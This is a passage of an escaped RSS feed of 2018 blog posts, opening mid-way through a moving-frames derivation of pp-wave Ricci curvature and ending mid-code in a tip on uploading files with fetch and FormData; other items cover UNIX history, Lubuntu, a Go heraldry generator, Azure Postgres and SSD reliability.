          dx &amp;= θ^2 \\
          dy &amp;= θ^3\text{;}
        \end{aligned}
        \]
        it&amp;rsquo;ll turn out that we don&amp;rsquo;t need to express \(dv\) in terms of
        the \(θ^μ\).&lt;/p&gt;
    &lt;/li&gt;

    &lt;li&gt;
      &lt;h3&gt;Connection forms&lt;/h3&gt;

      &lt;p&gt;Since
        \[
        \begin{aligned}
          θ^1 &amp;= θ^0 + du \\
          θ^2 &amp;= dx \\
          θ^3 &amp;= dy\text{,}
        \end{aligned}
        \]
        the derivatives of the basis one-forms are
        \[
        \begin{aligned}
          dθ^0 &amp;= dθ^1 = \frac{1}{2} (H_x \, dx + H_y \, dy) ∧ du \\
               &amp;= \frac{H_x}{2} \, θ^2 ∧ θ^1 - \frac{H_x}{2} \, θ^2 ∧ θ^0 + \frac{H_y}{2} \, θ^3 ∧ θ^1 - \frac{H_y}{2} \, θ^3 ∧ θ^0 \\
          dθ^2 &amp;= 0 \\
          dθ^3 &amp;= 0\text{.}
        \end{aligned}
        \]
      &lt;/p&gt;

      &lt;p&gt;Similarly to the Schwarzschild example, by semi-skew symmetry,
      since \(ε_0 = -1\) and \(ε_i = 1\), \(\cnf{0}{i} = \cnf{i}{0}\) and
        \(\cnf{i}{j} = -\cnf{j}{i}\). Therefore, we can explicitly
        write out the first structure equations:
        \[
        \begin{alignedat}{4}
          dθ^0 &amp;=                  &amp; &amp;- \cnf{0}{1} ∧ θ^1 &amp; &amp;- \cnf{0}{2} ∧ θ^2 &amp; &amp;- \cnf{0}{3} ∧ θ^3 \\
          dθ^1 &amp;= -\cnf{0}{1} ∧ θ^0 &amp; &amp;                   &amp; &amp;- \cnf{1}{2} ∧ θ^2 &amp; &amp;- \cnf{1}{3} ∧ θ^3 \\
          dθ^2 &amp;= -\cnf{0}{2} ∧ θ^0 &amp; &amp;+ \cnf{1}{2} ∧ θ^1 &amp; &amp;                   &amp; &amp;- \cnf{2}{3} ∧ θ^3 \\
          dθ^3 &amp;= -\cnf{0}{3} ∧ θ^0 &amp; &amp;+ \cnf{1}{3} ∧ θ^1 &amp; &amp;+ \cnf{2}{3} ∧ θ^2\text{.} &amp; &amp;
        \end{alignedat}
        \]
        However, unlike the Schwarzschild example, we can&amp;rsquo;t
        simply read off the non-zero connection forms; for example, it&amp;rsquo;s not immediately clear whether the \(\frac{H_x}{2} \, θ^2 ∧ θ^1\) term in \(dθ^0\) belongs
        to the \(\cnf{0}{1} ∧ θ^1\) term or the \(\cnf{0}{2} ∧ θ^2\) term. However, since \(dθ^0 = dθ^1\), we can guess that \(\cnf{0}{2} = \cnf{1}{2}\)
        and \(\cnf{0}{3} = \cnf{1}{3}\). Subtracting the first structure equations for \(dθ^1\) and \(dθ^0\), we get
        \[
          \cnf{0}{1} ∧ (θ^1 - θ^0) = 0\text{,}
        \]
        i.e. that \(\cnf{0}{1} ∼ θ^1 - θ^0\). However, plugging this
        into the first structure equation for \(dθ^0\) or \(dθ^1\), we get a \(θ^0
        ∧ θ^1\) term, which isn&amp;rsquo;t present in the derivative
        equation for \(dθ^0 = dθ^1\), which then implies that \(\cnf{0}{1} = 0\). Thus,
        there&amp;rsquo;s only one way to assign each term of the
        derivative equation for \(dθ^0 = dθ^1\) to \(\cnf{0}{2} ∧ θ^2\) or \(\cnf{0}{3} ∧ θ^3\): 
        \[
        \begin{aligned}
          \cnf{0}{2} &amp;= \cnf{1}{2} = -\frac{H_x}{2} \, (θ^1 - θ^0) = -\frac{H_x}{2} \, du \\
          \cnf{0}{3} &amp;= \cnf{1}{3} = -\frac{H_y}{2} \, (θ^1 - θ^0) = -\frac{H_y}{2} \, du\text{.}
        \end{aligned}
        \]
        Plugging this into the structure equations for \(dθ^2\) and \(dθ^3\), we get
        \[
        \begin{aligned}
          dθ^2 &amp;= -\cnf{0}{2} ∧ θ^0 + \cnf{1}{2} ∧ θ^1 - \cnf{2}{3} ∧ θ^3 \\
               &amp;= \cnf{0}{2} ∧ du - \cnf{2}{3} ∧ θ^3 \\
               &amp;= -\frac{H_x}{2} \, du ∧ du - \cnf{2}{3} ∧ θ^3 \\
               &amp;= -\cnf{2}{3} ∧ θ^3 \\
          dθ^3 &amp;= -\cnf{0}{3} ∧ θ^0 + \cnf{1}{3} ∧ θ^1 + \cnf{2}{3} ∧ θ^2 \\
               &amp;= \cnf{0}{3} ∧ du + \cnf{2}{3} ∧ θ^2 \\
               &amp;= -\frac{H_y}{2} \, du ∧ du + \cnf{2}{3} ∧ θ^2 \\
               &amp;= \cnf{2}{3} ∧ θ^2\text{.}
        \end{aligned}
        \]
        Since \(dθ^2 = dθ^3 = 0\) from the derivative equations, \(\cnf{2}{3}\) is proportional to both \(θ^2\) and \(θ^3\), i.e. \(\cnf{2}{3} = 0\). We&amp;rsquo;ve found expressions for \(\cnf{μ}{ν}\) that
        satisfy the first structure equations. Therefore, by
        uniqueness of the connection forms, these expressions are &lt;em&gt;the&lt;/em&gt; connection forms. Then, expressing the connection forms in terms of both the basis one-forms and
        the coordinate forms,
        \[
        \begin{aligned}
          \cnf{0}{2} &amp;= \cnf{2}{0} = \cnf{1}{2} = -\cnf{2}{1} = -\frac{H_x}{2} \, (θ^1 - θ^0) = -\frac{H_x}{2} \, du \\
          \cnf{0}{3} &amp;= \cnf{3}{0} = \cnf{1}{3} = -\cnf{3}{1} = -\frac{H_y}{2} \, (θ^1 - θ^0) = -\frac{H_y}{2} \, du\text{.}
        \end{aligned}
        \]&lt;/p&gt;
    &lt;/li&gt;

    &lt;li&gt;
      &lt;h3&gt;Curvature forms&lt;/h3&gt;

      &lt;p&gt;Using the expressions for \(\cnf{μ}{ν}\) in terms of the coordinate
        one-forms, since \(d(du) = 0\), the derivative of \(\cnf{0}{2} = \cnf{1}{2}\) is
        \[
        \begin{aligned}
          d\cnf{0}{2} &amp;= d\cnf{1}{2} = -\frac{1}{2} \, dH_x ∧ du \\
                      &amp;= -\frac{1}{2} (H_{xx} \, dx + H_{xy} \, dy) ∧ du \\
                      &amp;= -\frac{1}{2} (H_{xx} \, θ^2 + H_{xy} \, θ^3) ∧ (θ^1 - θ^0)
        \end{aligned}
        \]
        and similarly the derivative of \(\cnf{0}{3} = \cnf{1}{3}\) is
        \[
          d\cnf{0}{3} = d\cnf{1}{3} = -\frac{1}{2} (H_{xy} \, θ^2 + H_{yy} \, θ^3) ∧ (θ^1 - θ^0)\text{.}
        \]
        Since
        all the connection forms are proportional to \(du\), all possible
        sums \(\cnf{μ}{λ} ∧ \cnf{λ}{ν}\) equal \(0\). Then we can compute the
        curvature forms:
        \[
        \begin{aligned}
          \crf{0}{2} &amp;= \crf{1}{2} = -\frac{1}{2} (H_{xx} \, θ^2 + H_{xy} \, θ^3) ∧ (θ^1 - θ^0) \\
          \crf{0}{3} &amp;= \crf{1}{3} = -\frac{1}{2} (H_{xy} \, θ^2 + H_{yy} \, θ^3) ∧ (θ^1 - θ^0)\text{.}
        \end{aligned}
        \]
      Again by semi-skew symmetry, since \(ε_0 = -1\) and \(ε_i = 1\), \(\crf{0}{i} = \crf{i}{0}\) and
        \(\crf{i}{j} = -\crf{j}{i}\). Therefore,
        \[
        \begin{aligned}
          \crf{0}{2} &amp;= \crf{2}{0} = \crf{1}{2} = -\crf{2}{1} = -\frac{1}{2} (H_{xx} \, θ^2 + H_{xy} \, θ^3) ∧ (θ^1 - θ^0) \\
          \crf{0}{3} &amp;= \crf{3}{0} = \crf{1}{3} = -\crf{3}{1} = -\frac{1}{2} (H_{xy} \, θ^2 + H_{yy} \, θ^3) ∧ (θ^1 - θ^0)\text{.}
        \end{aligned}
        \]
      &lt;/p&gt;
    &lt;/li&gt;

    &lt;li&gt;
      &lt;h3&gt;Ricci curvature&lt;/h3&gt;

      &lt;p&gt;We can compute the Ricci tensor \(\Ric{μν}\) as
        \[
          \Ric{μν} = \Riem{λ}{μλν} = \crf{λ}{μ}(E_λ, E_ν)\text{,}
        \]
        where the \(E_λ\) comprise the dual frame to \(ϑ^λ\). First, using the relations
        \[
          (θ^μ ∧ θ^ν)(E_ρ, E_σ) = \begin{cases}
           +1 &amp; σ = μ ≠ ν = ρ \\
           -1 &amp; ρ = μ ≠ ν = σ \\
            0 &amp; \text{otherwise,}
          \end{cases}
        \]
        we compute
        \[
          \Ric{0ν} = \crf{λ}{0}(E_λ, E_ν) = \crf{0}{λ}(E_λ, E_ν) = \crf{0}{2}(E_2, E_ν) + \crf{0}{3}(E_3, E_ν)
        \]
        and see that it&amp;rsquo;s only non-zero for \(ν ∈ \{ 0, 1 \}\); furthermore, \(\Ric{01} = -\Ric{00}\). Similarly,
        \[
          \Ric{1ν} = \crf{λ}{1}(E_λ, E_ν) = -\crf{1}{λ}(E_λ, E_ν) = -\crf{0}{λ}(E_λ, E_ν) = -\Ric{0ν}\text{.}
        \]
        For the last two, we can save some effort by calculating \((θ^1 - θ^0)(E_0 + E_1) = 0\), which implies
        \[
          (θ^μ ∧ (θ^1 - θ^0))(E_ν, E_0 + E_1) = 0\text{.}
        \]
        Then, using skew symmetry of two-forms
        \[
          \crf{μ}{ν}(E_ρ, E_σ) = -\crf{μ}{ν}(E_σ, E_ρ)\text{,}
        \]
        we compute
        \[
          \Ric{2ν} = \crf{λ}{2}(E_λ, E_ν) = -\crf{λ}{2}(E_ν, E_λ) = -\crf{0}{2}(E_ν, E_0) - \crf{1}{2}(E_ν, E_1) = -\crf{0}{2}(E_ν, E_0 + E_1) = 0
        \]
        and
        \[
          \Ric{3ν} = \crf{λ}{3}(E_λ, E_ν) = -\crf{λ}{3}(E_ν, E_λ) = -\crf{0}{3}(E_ν, E_0) - \crf{1}{3}(E_ν, E_1) = -\crf{0}{3}(E_ν, E_0 + E_1) = 0\text{,}
        \]
        so it suffices to compute \(\Ric{00}\):
        \[
        \begin{aligned}
          \Ric{00} &amp;= \crf{0}{2}(E_2, E_0) + \crf{0}{3}(E_3, E_0) \\
                   &amp;= \frac{1}{2} (H_{xx} + H_{yy})\text{.}
        \end{aligned}
        \]
        Finally, we can conclude that the pp-wave metric is Ricci flat
        exactly when
        \[
          H_{xx} + H_{yy} = 0\text{.}
        \]&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/section&gt;

&lt;section&gt;
  &lt;header&gt;
    &lt;h2&gt;Further reading&lt;/h2&gt;
  &lt;/header&gt;

  &lt;p&gt;The classic reference for the method of moving frames is
  Volume&amp;nbsp;2, Chapter&amp;nbsp;7 of Spivak&amp;rsquo;s &amp;ldquo;A
  Comprehensive Introduction to Differential Geometry&amp;rdquo;. However,
  this only covers the Riemannian case. For the semi-Riemannian case,
  look to §&amp;nbsp;1.8 of O&amp;rsquo;Neill&amp;rsquo;s &amp;ldquo;The Geometry of
  Kerr Black Holes&amp;rdquo;, or §&amp;nbsp;14.6 of &lt;a href="https://en.wikipedia.org/wiki/Gravitation_(book)"&gt;Gravitation&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;

&lt;section class="footnotes"&gt;
  &lt;header&gt;
    &lt;h2&gt;Footnotes&lt;/h2&gt;
  &lt;/header&gt;

  &lt;p id="fn1"&gt;[1] A metric can only be diagonal &lt;em&gt;with respect to a
  particular coordinate system&lt;/em&gt;, but for brevity I&amp;rsquo;ll only mention it here. &lt;a href="#r1"&gt;↩&lt;/a&gt;&lt;/p&gt;

  &lt;p id="fn2"&gt;[2] See p.&amp;nbsp;52 of &lt;em&gt;The Geometry of Kerr Black Holes&lt;/em&gt; by Barret O&amp;lsquo;Neill. &lt;a href="#r2"&gt;↩&lt;/a&gt;&lt;/p&gt;

  &lt;p id="fn3"&gt;[3] The paper &lt;a href="https://arxiv.org/abs/gr-qc/9602015"&gt;&amp;ldquo;Ricci Tensor of Diagonal Metric&amp;rdquo;&lt;/a&gt; has
  a similar discussion using coordinate methods; note that the
  calculations are much more laborious! &lt;a href="#r3"&gt;↩&lt;/a&gt;&lt;/p&gt;

  &lt;p id="fn4"&gt;[4] One subtle technical point is that there might not be such an expression for \(g\) throughout the whole chart domain; see &lt;a href="https://math.stackexchange.com/q/2625887/343314"&gt;this Math StackExchange question&lt;/a&gt; for
    details. In practice, though, this doesn&amp;rsquo;t turn out to be a
    problem. &lt;a href="#r4"&gt;↩&lt;/a&gt;&lt;/p&gt;

  &lt;p id="fn5"&gt;[5] The Schwarzschild metric describes the field outside
    a spherically symmetric and non-rotating massive body.
    If we let \(f(r)\) have an \(r^{-2}\) term, e.g.
    \[
      f(r) = 1 - \frac{r_S}{r} + \frac{r_Q^2}{r^2}
    \]
    for some constant \(r_Q\), then we have non-vanishing Ricci
    components. However, this metric, called the &lt;a href="https://en.wikipedia.org/wiki/Reissner%E2%80%93Nordstr%C3%B6m_metric"&gt;Reissner–Nordström metric&lt;/a&gt;,
    is still useful, as it describes a &lt;em&gt;charged&lt;/em&gt;, spherically
    symmetric, non-rotating massive body. &lt;a href="#r5"&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;</description><author>Fred Akalin</author><pubDate>Thu, 22 Mar 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://www.akalin.com/curvature-moving-frames</guid></item><item><title>Q: Can we convert facebook into a global coop? A: WHY should we?</title><link>https://stop.zona-m.net/2018/03/q-can-we-convert-facebook-into-a-global-coop-a-why-should-we/</link><description>&lt;p&gt;&amp;ldquo;Seems like Facebook is going downhill for here. Perhaps opportunity to convert it into a global coop?&amp;rdquo; When I saw this question asked online, I couldn&amp;rsquo;t help but repeat asking how to convert Facebook, Twitter and similar platforms into a global coop is &lt;strong&gt;not&lt;/strong&gt; the right question. The right question is: &lt;strong&gt;WHY&lt;/strong&gt; should anyone do such a thing? What good would it make?&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 22 Mar 2018 06:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/03/q-can-we-convert-facebook-into-a-global-coop-a-why-should-we/</guid></item><item><title>Ultimate UNIX timeline</title><link>https://jasoneckert.github.io/myblog/ultimate-unix-timeline/</link><description>&lt;p&gt;&lt;img alt="UNIX" src="unix.png#center" title="UNIX" /&gt;&lt;/p&gt;
&lt;p&gt;One thing that has always annoyed me about the Internet surrounds the history and evolution of UNIX-based operating systems.  If you Google “UNIX timeline”, you’ll get a bunch of different results that are either incomplete, incorrect, complicated to the point where it’s unreadable, or a combination of all of these things.&lt;/p&gt;
&lt;p&gt;So this blog post aims to rectify this!&lt;/p&gt;
&lt;p&gt;&lt;img alt="UNIX timeline" src="ultimateunixtimeline.bmp#center" title="UNIX timeline" /&gt;&lt;/p&gt;
&lt;p&gt;Here are some important things to note about UNIX in general and each of the UNIX flavours depicted on this timeline:&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Thu, 22 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/ultimate-unix-timeline/</guid></item><item><title>Changing Mouse Sensitivity on Lubuntu 16.04</title><link>https://www.wints.org/notes/2018.03.21/</link><description>&lt;p&gt;&lt;strong&gt;Context&lt;/strong&gt;
I recently switched to using an X1 Carbon (2nd Gen) with Lubuntu 16.04 LTS as my main work machine.
I&amp;rsquo;d been wanting to do this for a while, but now circumstances are such that I HAD to. It&amp;rsquo;s working out well so far.
Everything worked out of the box. Installation was a breeze with a live USB. I did have trouble booting with a USB created on OSX, but that&amp;rsquo;s another post.&lt;/p&gt;</description><author>A Holding Company</author><pubDate>Wed, 21 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/notes/2018.03.21/</guid></item><item><title>Heraldry Generation Pt. 2: Go, Divisions, and Charges</title><link>https://benovermyer.com/blog/2018/03/heraldry-generation-pt-2-go-divisions-and-charges/</link><description>&lt;p&gt;This iteration had some dramatic changes. Specifically, I rewrote the entire program in Go. That part actually didn't take as much time as I'd thought. The resulting program is a bit messy, though, and I'll talk about that in a minute. First, let me tell you about the heraldry changes.&lt;/p&gt;
&lt;p&gt;After having just the fess and pale divisions in the last iteration, I added the remainder of the basic ones: bend, bend sinister, saltire, quarterly, and chevron.&lt;/p&gt;
&lt;p&gt;I also added the most basic of charges - those geometric shapes called “ordinaries.” Not all of the common ordinaries are in there yet, and some of them look a little askew. Since I manually created them through trial and error rather than through calculation, there are a number of problems that I'll need to sort out.&lt;/p&gt;
&lt;p&gt;For example, here're a couple charges from the current iteration. Notice how they're a little off?&lt;/p&gt;
&lt;p&gt;&lt;img alt="This saltire's a little askew" src="https://benovermyer.com/heraldry-pt-2/askew-saltire.svg" /&gt; &lt;img alt="This pall is definitely not right" src="https://benovermyer.com/heraldry-pt-2/askew-pall.svg" /&gt;&lt;/p&gt;
&lt;p&gt;The other issue is that many of the designs that pop out of the generator don't look very visually appealing. A possible future iteration will be to add some kind of logic to fix that.&lt;/p&gt;
&lt;p&gt;With all of that said, it produces some pretty decent results. Here are some of them:&lt;/p&gt;
&lt;p&gt;&lt;img alt="This chevron is energetic" src="https://benovermyer.com/heraldry-pt-2/bright-chevron.svg" /&gt; &lt;img alt="A bordure to approve of" src="https://benovermyer.com/heraldry-pt-2/nice-bordure.svg" /&gt; &lt;img alt="The contrast here is interesting" src="https://benovermyer.com/heraldry-pt-2/pile-charge.svg" /&gt;&lt;/p&gt;
&lt;p&gt;OK, so now, let's talk about Go.&lt;/p&gt;
&lt;p&gt;I had always intended to rewrite the program in Go; I was using PHP as a rapid prototyping language. However, I hit a wall not too far into development. The SVG library I was using ended up not supporting a number of features of SVG that I needed. I was able to work around it by stripping out that library and dealing with the raw XML of SVG, but this was somewhat cumbersome.&lt;/p&gt;
&lt;p&gt;Then I discovered the excellent SVG Go package called, appropriately enough, SVGo. It had several of the things I needed. So, I just pulled the trigger and spent a morning rewriting the entire codebase.&lt;/p&gt;
&lt;p&gt;The result is a much faster program that's easy to write code for.&lt;/p&gt;
&lt;p&gt;It's not without its problems, though.&lt;/p&gt;
&lt;p&gt;All of the code is in one giant file. Visualization definitions are inline and contained in large &lt;code&gt;switch&lt;/code&gt; or &lt;code&gt;if&lt;/code&gt; blocks. There are no unit tests (which has bit me a couple times already).&lt;/p&gt;
&lt;p&gt;Now that I'm going to be adding more complex charges (like animals), I can't keep putting all of that in the same file. That's something I hope to address in the next iteration.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Wed, 21 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2018/03/heraldry-generation-pt-2-go-divisions-and-charges/</guid></item><item><title>Same great Postgres with a new player in town</title><link>/2018/03/20/same-great-postgres-new-player-in-town/</link><description>&lt;p&gt;Many of us have known how great &lt;a href="http://www.craigkerstiens.com/2012/04/30/why-postgres/"&gt;Postgres&lt;/a&gt; was for &lt;a href="http://www.craigkerstiens.com/2017/04/30/why-postgres-five-years-later/"&gt;years&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;In fact I recall a conversation with some sales engineers about 6 years ago that previously worked for a large database vendor that really no one likes down in Redwood City. They were remarking how the biggest threat to them was Postgres. At first they were able to just brush it off saying it was open source and no real database could be open source. Then as they dug in they realized there was more there than most knew about and they would have to continually be finding ways to discredit it in sales conversations. Well it doesn&amp;rsquo;t look like those SEs or the rest of that company was too successful.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Postgres is certainly &lt;a href="https://www.infoworld.com/article/3261571/database/how-postgresql-just-might-replace-your-oracle-database.html"&gt;having it&amp;rsquo;s moment&lt;/a&gt;, and I personally don&amp;rsquo;t expect it to fade soon.&lt;/p&gt;
&lt;p&gt;An equally interesting shift I&amp;rsquo;ve watched from the outside has been Microsoft&amp;rsquo;s shift to support and engage with the &lt;a href="http://redmonk.com/sogrady/2017/09/28/microsoft-hiring/"&gt;open source movement&lt;/a&gt;. Personally that shift is extremely exciting to see, especially today as they announce their general availability of their &lt;a href="https://azure.microsoft.com/en-us/blog/announcing-general-availability-of-azure-database-services-for-mysql-and-postgresql/"&gt;Postgres&lt;/a&gt; offering. And with their announcement it looks they&amp;rsquo;re not just dabbling but shipping a very compelling offering, notably high availability is built-in which means they&amp;rsquo;re very much targetting production workloads. With their GA release there are a number of interesting boxes checked:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HIPPA, SOC, ISO compliances&lt;/li&gt;
&lt;li&gt;99.99% uptime SLA&lt;/li&gt;
&lt;li&gt;Available in 22 regions&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Personally I&amp;rsquo;m looking forward to the new competition for Postgres users as it&amp;rsquo;ll make Postgres better and better for all. When I was at Heroku and was running product for Heroku Postgres 7 years ago we were the only large major provider. Today that landscape looks a lot different and it just means more choice and more quality if you want to run Postgres. So welcome Microsoft, I look forward to giving Azure Postgres a try.&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Tue, 20 Mar 2018 22:55:56 GMT</pubDate><guid isPermaLink="true">/2018/03/20/same-great-postgres-new-player-in-town/</guid></item><item><title>How to track down a missing international payment</title><link>https://ilearnt.com/blog/missingpayment/</link><description>&lt;p&gt;I was due to be paid for some work earlier this month and the payment was from a foreign bank account into my account in GBP. The payment was made two weeks ago but never turned up in my account. After numerous phone calls with my bank and a lot of help from the CFO of the company I am working for (thanks Mario) we eventually managed to locate the payment.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Tue, 20 Mar 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/missingpayment/</guid></item><item><title>Flash Storage and SSD Failure Rate Update (March 2018)</title><link>https://smcleod.net/2018/03/flash-storage-and-ssd-failure-rate-update-march-2018/</link><description>&lt;p&gt;It was almost 3 years ago that my open source storage project went into production. In that time it&amp;rsquo;s been running 24/7 serving as highly available solid state storage for hundreds of VMs and several virtualisation clusters across our two main sites.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m happy to report that the clusters have been operating very successfully since their conception.&lt;/p&gt;
&lt;p&gt;Since moving away from proprietary &amp;lsquo;black box&amp;rsquo; vendor SANs, we haven&amp;rsquo;t had a single SAN issue, storage outage.&lt;/p&gt;</description><author>smcleod.net</author><pubDate>Tue, 20 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://smcleod.net/2018/03/flash-storage-and-ssd-failure-rate-update-march-2018/</guid></item><item><title>Uploading files using 'fetch' and 'FormData'</title><link>https://muffinman.io/blog/uploading-files-using-fetch-multipart-form-data/</link><description>&lt;article class="article"&gt;&lt;p&gt;Today I learned:&lt;/p&gt;
&lt;p&gt;To upload files using &lt;code&gt;fetch&lt;/code&gt; and
&lt;span class="sidenote__text" tabindex="0"&gt;&lt;code&gt;FormData&lt;/code&gt;&lt;/span&gt;&lt;span class="sidenote__note"&gt;&lt;span class="sidenote__note-inner"&gt;&lt;span class="sidenote__note-text"&gt;&lt;code&gt;FormData&lt;/code&gt; is supported in IE10+.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
you &lt;strong&gt;must not&lt;/strong&gt; set &lt;code&gt;Content-Type&lt;/code&gt; header.&lt;/p&gt;
&lt;pre class="language-js"&gt;&lt;code class="language-js code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; fileInput &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token dom variable"&gt;document&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;querySelector&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;&amp;#x27;#your-file-input&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; formData &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token keyword"&gt;new&lt;/span&gt; &lt;span class="token class-name"&gt;FormData&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;formData&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;append&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;&amp;#x27;file&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; fileInput&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;files&lt;/span&gt;&lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token number"&gt;0&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; options &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token literal-property property"&gt;method&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;POST&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token literal-property property"&gt;body&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; formData&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// If you add this, upload won&amp;#x27;t work&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// headers: {&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;//   &amp;#x27;Content-Type&amp;#x27;: &amp;#x27;multipart/form-data&amp;#x27;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// }&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token function"&gt;fetch&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;&amp;#x27;your-upload-url&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; options&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="problem-i-had"&gt;Problem I had &lt;a class="anchor-link" href="#problem-i-had"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;My API wrapper class has default content type header set to:&lt;/p&gt;
&lt;pre class="language-shell"&gt;&lt;code class="language-shell code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token string"&gt;&amp;#x27;Content-Type&amp;#x27;&lt;/span&gt;&lt;span class="token builtin class-name"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;application/json&amp;#x27;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So I thought, to upload files using &lt;code&gt;FormData&lt;/code&gt;, it would be enough to override it with:&lt;/p&gt;
&lt;pre class="language-shell"&gt;&lt;code class="language-shell code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token string"&gt;&amp;#x27;Content-Type&amp;#x27;&lt;/span&gt;&lt;span class="token builtin class-name"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;multipart/form-data&amp;#x27;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But alas, it didn&amp;#x27;t work, server couldn&amp;#x27;t parse the files I was uploading.
I&amp;#x27;ve wasted about half an hour, and then noticed that simple HTML form was setting something else:&lt;/p&gt;
&lt;pre class="language-shell"&gt;&lt;code class="language-shell code-highlight"&gt;&lt;span class="code-line"&gt;Content-Type: multipart/form-data&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token assign-left variable"&gt;boundary&lt;/span&gt;&lt;span class="token operator"&gt;=&lt;/span&gt;----WebKitFormBoundaryIn312MOjBWdkffIM
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It had this &lt;code&gt;boundary&lt;/code&gt; thing I didn&amp;#x27;t know anything about.&lt;/p&gt;
&lt;p&gt;Then I started searching around the internet and found the solution.
To set the correct boundary, I had to explicitly delete &lt;code&gt;Content-Type&lt;/code&gt; header.
In that case browser will set the correct &lt;code&gt;boundary&lt;/code&gt; itself.&lt;/p&gt;
&lt;p&gt;Adding this line solved it.&lt;/p&gt;
&lt;pre class="language-js"&gt;&lt;code class="language-js code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// Remove &amp;#x27;Content-Type&amp;#x27; header to allow browser to add&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// along with the correct &amp;#x27;boundary&amp;#x27;&lt;/span&gt;
